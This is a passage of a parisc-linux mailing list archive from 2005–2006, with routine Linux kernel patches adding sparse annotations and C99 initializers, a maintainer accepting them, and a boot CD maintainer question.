List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fvHaY6ZReSEkIL6WZHQhaXN1IGRvb8CR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25246

Does anyone know who the maintainer of the Debian parisc boot CD is?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexey Dobriyan <adobriyan@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] parisc: add __iomem to __raw_check_addr()
Date: Sat, 24 Dec 2005 02:36:20 +0300
Lines: 26
Approved: news@gmane.org
Message-ID: <20051223233620.GA23618@mipter.zuzino.mipt.ru>
References: <20051222101523.GP27946@ftp.linux.org.uk>
	<20051223093146.GT27946@ftp.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624580 27488 80.91.229.3 (22 Nov 2014 02:49:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Al Viro <viro@ftp.linux.org.uk>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Dec 2005 23:20:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 24 Dec 2005 00:20:30 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 346897D6CD;
	Fri, 23 Dec 2005 16:20:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06068-08; Fri, 23 Dec 2005 16:20:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E84357D6C3;
	Fri, 23 Dec 2005 16:20:23 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E4EF7D6C1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Dec 2005 16:20:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06068-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Dec 2005 16:20:20 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D17647D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Dec 2005 16:20:20 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id E58C6495589; Fri, 23 Dec 2005 16:20:19 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from uproxy.gmail.com (uproxy.gmail.com [66.249.92.199])
	by palinux.hppa (Postfix) with ESMTP id 7F02D49400A
	for <parisc-linux@parisc-linux.org>;
	Fri, 23 Dec 2005 16:20:19 -0700 (MST)
Original-Received: by uproxy.gmail.com with SMTP id o2so216437uge
	for <parisc-linux@parisc-linux.org>;
	Fri, 23 Dec 2005 15:20:14 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:date:from:to:cc:subject:message-id:references:mime-version:content-type:content-disposition:in-reply-to:user-agent;
	b=iICZB4dkFkcXqN5tx8q4dneKDkJm12ipu1pqGMANzLHC9Sju780+oZRF2JhY5cWHJLKVoFGiLt6OZnUh37WVnKslOJEFHtadlxCuYOnVDDqxJk4BdytOGb40keNrkg/7tZUj3CzHPCC/Lz2mZppvRLnVwSZ/VLz26diDDwC4qo4=
Original-Received: by 10.66.255.18 with SMTP id c18mr1033375ugi;
	Fri, 23 Dec 2005 15:20:13 -0800 (PST)
Original-Received: from gmail.com ( [217.10.38.130])
	by mx.gmail.com with ESMTP id y7sm1670806ugc.2005.12.23.15.20.12;
	Fri, 23 Dec 2005 15:20:13 -0800 (PST)
Original-Received: by gmail.com (nbSMTP-1.00) for uid 1000
	(using TLSv1/SSLv3 with cipher DES-CBC3-SHA (168/168 bits))
	adobriyan@gmail.com; Sat, 24 Dec 2005 02:36:22 +0300 (MSK)
Content-Disposition: inline
In-Reply-To: <20051223093146.GT27946@ftp.linux.org.uk>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aOPeY34AeSEkJr6WZHQhaXN1IGRvbwCO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25247

Nukes ~13809 sparse warnings on allmodconfig.

Signed-off-by: Alexey Dobriyan <adobriyan@gmail.com>
---

 include/asm-parisc/io.h |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- a/include/asm-parisc/io.h
+++ b/include/asm-parisc/io.h
@@ -41,7 +41,7 @@ extern void __raw_bad_addr(const volatil
 #define __raw_check_addr(addr)					\
 	if (((unsigned long)addr >> NYBBLE_SHIFT) != 0xe)	\
 		__raw_bad_addr(addr);			\
-	addr = (void *)((unsigned long)addr | (0xfUL << NYBBLE_SHIFT));
+	addr = (void __iomem *)((unsigned long)addr | (0xfUL << NYBBLE_SHIFT));
 #else
 #define gsc_check_addr(addr)
 #define __raw_check_addr(addr)

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexey Dobriyan <adobriyan@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] include/asm-parisc/processor.h: C99
	initializers
Date: Sat, 24 Dec 2005 02:39:01 +0300
Lines: 41
Approved: news@gmane.org
Message-ID: <20051223233901.GB23618@mipter.zuzino.mipt.ru>
References: <20051222101523.GP27946@ftp.linux.org.uk>
	<20051223093146.GT27946@ftp.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624580 27489 80.91.229.3 (22 Nov 2014 02:49:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Al Viro <viro@ftp.linux.org.uk>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Dec 2005 23:23:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 24 Dec 2005 00:23:05 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9117E7D6E0;
	Fri, 23 Dec 2005 16:23:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06591-09; Fri, 23 Dec 2005 16:23:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74BB57D6E1;
	Fri, 23 Dec 2005 16:23:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2128D7D6D9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Dec 2005 16:22:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06714-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Dec 2005 16:22:58 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 946017D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Dec 2005 16:22:58 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id E4625495589; Fri, 23 Dec 2005 16:22:57 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from uproxy.gmail.com (uproxy.gmail.com [66.249.92.206])
	by palinux.hppa (Postfix) with ESMTP id 84AEC49400A
	for <parisc-linux@parisc-linux.org>;
	Fri, 23 Dec 2005 16:22:57 -0700 (MST)
Original-Received: by uproxy.gmail.com with SMTP id o2so216549uge
	for <parisc-linux@parisc-linux.org>;
	Fri, 23 Dec 2005 15:22:56 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:date:from:to:cc:subject:message-id:references:mime-version:content-type:content-disposition:in-reply-to:user-agent;
	b=LQKy6CgBoHibaAzqRGrsJjS8wA+Vv5xOIqah/6Rk4WgKdyZXAm+nTyXWpso9is5R83pTrxfb8sfpUm7dcoNFLtmIcK8/gQ88tz2hwnjf56KRQR9cZhVrgMLndE4qCrPusBE3oY3a3mi/iUx5hK/jeybB+oxaovDbolb6iTNWXXA=
Original-Received: by 10.66.255.3 with SMTP id c3mr1029691ugi;
	Fri, 23 Dec 2005 15:22:56 -0800 (PST)
Original-Received: from gmail.com ( [217.10.38.130])
	by mx.gmail.com with ESMTP id c1sm1481317ugf.2005.12.23.15.22.53;
	Fri, 23 Dec 2005 15:22:54 -0800 (PST)
Original-Received: by gmail.com (nbSMTP-1.00) for uid 1000
	(using TLSv1/SSLv3 with cipher DES-CBC3-SHA (168/168 bits))
	adobriyan@gmail.com; Sat, 24 Dec 2005 02:39:03 +0300 (MSK)
Content-Disposition: inline
In-Reply-To: <20051223093146.GT27946@ftp.linux.org.uk>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: juPeY5IreSEkI76WZHQhaXN1IGRvb8Az
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25248

Signed-off-by: Alexey Dobriyan <adobriyan@gmail.com>
---

 include/asm-parisc/processor.h |   18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

--- a/include/asm-parisc/processor.h
+++ b/include/asm-parisc/processor.h
@@ -144,16 +144,16 @@ struct thread_struct {
         })
 
 #define INIT_THREAD { \
-	regs:	{	gr: { 0, }, \
-			fr: { 0, }, \
-			sr: { 0, }, \
-			iasq: { 0, }, \
-			iaoq: { 0, }, \
-			cr27: 0, \
+	.regs = {	.gr	= { 0, }, \
+			.fr	= { 0, }, \
+			.sr	= { 0, }, \
+			.iasq	= { 0, }, \
+			.iaoq	= { 0, }, \
+			.cr27	= 0, \
 		}, \
-	task_size:      DEFAULT_TASK_SIZE, \
-	map_base:       DEFAULT_MAP_BASE, \
-	flags:          0 \
+	.task_size	= DEFAULT_TASK_SIZE, \
+	.map_base	= DEFAULT_MAP_BASE, \
+	.flags		= 0 \
 	}
 
 /*

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexey Dobriyan <adobriyan@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] eisa_eeprom.c: __user annotations
Date: Sat, 24 Dec 2005 02:41:30 +0300
Lines: 24
Approved: news@gmane.org
Message-ID: <20051223234130.GC23618@mipter.zuzino.mipt.ru>
References: <20051222101523.GP27946@ftp.linux.org.uk>
	<20051223093146.GT27946@ftp.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624580 27491 80.91.229.3 (22 Nov 2014 02:49:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Al Viro <viro@ftp.linux.org.uk>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Dec 2005 23:25:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 24 Dec 2005 00:25:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 05D847D70E;
	Fri, 23 Dec 2005 16:25:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06941-03; Fri, 23 Dec 2005 16:25:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9E337D710;
	Fri, 23 Dec 2005 16:25:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 242937D6F9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Dec 2005 16:25:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06714-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Dec 2005 16:25:25 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 971517D6EB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Dec 2005 16:25:25 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id BEA57495589; Fri, 23 Dec 2005 16:25:24 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from uproxy.gmail.com (uproxy.gmail.com [66.249.92.206])
	by palinux.hppa (Postfix) with ESMTP id 56E3749400A
	for <parisc-linux@parisc-linux.org>;
	Fri, 23 Dec 2005 16:25:24 -0700 (MST)
Original-Received: by uproxy.gmail.com with SMTP id o2so216633uge
	for <parisc-linux@parisc-linux.org>;
	Fri, 23 Dec 2005 15:25:23 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:date:from:to:cc:subject:message-id:references:mime-version:content-type:content-disposition:in-reply-to:user-agent;
	b=Rb8rU5YYSx0GG5YELQ9p2R53Sbeq8GwMOSRqxn80nx070R7cZ1bmwZHcdeyh2AAGbeMs0CxxvtmR7GDuYfx5ZCBA7E1/MrSP8z1WE+EpXz0EMqlSGuhTBOHKMDG3R1xFO2dLKAgdww4Qi7fsyQK2qfLpOM+oL3IXCWBg8D3VEsM=
Original-Received: by 10.66.244.20 with SMTP id r20mr362184ugh;
	Fri, 23 Dec 2005 15:25:23 -0800 (PST)
Original-Received: from gmail.com ( [217.10.38.130])
	by mx.gmail.com with ESMTP id j2sm1509441ugf.2005.12.23.15.25.21;
	Fri, 23 Dec 2005 15:25:23 -0800 (PST)
Original-Received: by gmail.com (nbSMTP-1.00) for uid 1000
	(using TLSv1/SSLv3 with cipher DES-CBC3-SHA (168/168 bits))
	adobriyan@gmail.com; Sat, 24 Dec 2005 02:41:31 +0300 (MSK)
Content-Disposition: inline
In-Reply-To: <20051223093146.GT27946@ftp.linux.org.uk>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OuLeYwMieSEkeL6WZHQhaXN1IGRvb4Dr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25249

Signed-off-by: Alexey Dobriyan <adobriyan@gmail.com>
---

 drivers/parisc/eisa_eeprom.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/drivers/parisc/eisa_eeprom.c
+++ b/drivers/parisc/eisa_eeprom.c
@@ -48,7 +48,7 @@ static loff_t eisa_eeprom_llseek(struct 
 }
 
 static ssize_t eisa_eeprom_read(struct file * file,
-			      char *buf, size_t count, loff_t *ppos )
+			      char __user *buf, size_t count, loff_t *ppos )
 {
 	unsigned char *tmp;
 	ssize_t ret;

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] eisa_eeprom.c: __user annotations
Date: Fri, 23 Dec 2005 19:23:50 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20051224022350.GA19719@parisc-linux.org>
References: <20051222101523.GP27946@ftp.linux.org.uk>
	<20051223093146.GT27946@ftp.linux.org.uk>
	<20051223234130.GC23618@mipter.zuzino.mipt.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624580 27492 80.91.229.3 (22 Nov 2014 02:49:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Al Viro <viro@ftp.linux.org.uk>
To: Alexey Dobriyan <adobriyan@gmail.com>
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Dec 2005 02:24:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 24 Dec 2005 03:24:03 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 363057D72F;
	Fri, 23 Dec 2005 19:23:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07899-05; Fri, 23 Dec 2005 19:23:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 527547D72B;
	Fri, 23 Dec 2005 19:23:58 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B3FD87D728
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Dec 2005 19:23:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07852-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Dec 2005 19:23:52 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 01C157D727
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Dec 2005 19:23:51 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 3121C49400C; Fri, 23 Dec 2005 19:23:51 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 04F1849400A; Fri, 23 Dec 2005 19:23:50 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051223234130.GC23618@mipter.zuzino.mipt.ru>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: E9TeY/k4eSEkMr6WZHQhaXN1IGRvb0DG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25250

On Sat, Dec 24, 2005 at 02:41:30AM +0300, Alexey Dobriyan wrote:
> Signed-off-by: Alexey Dobriyan <adobriyan@gmail.com>

I've added these three patches to the parisc tree; thanks.
I expect they'll go in before 2.6.16-rc1.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [CFT 10/29] Add parisc_bus_type probe and remove
	methods
Date: Thu, 05 Jan 2006 14:34:38 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <20060105142951.13.10__8313.83396075598$1416624581$gmane$org@flint.arm.linux.org.uk>
References: <20060105142951.13.01@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624581 27495 80.91.229.3 (22 Nov 2014 02:49:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:41 +0000 (UTC)
Cc: Greg K-H <greg@kroah.com>,
 parisc <parisc-linux@parisc-linux.org>
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jan 2006 14:35:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 05 Jan 2006 15:35:04 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C6877D790;
	Thu,  5 Jan 2006 07:34:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04550-09; Thu, 5 Jan 2006 07:34:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE64A7D78B;
	Thu,  5 Jan 2006 07:34:57 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 29AA97D785
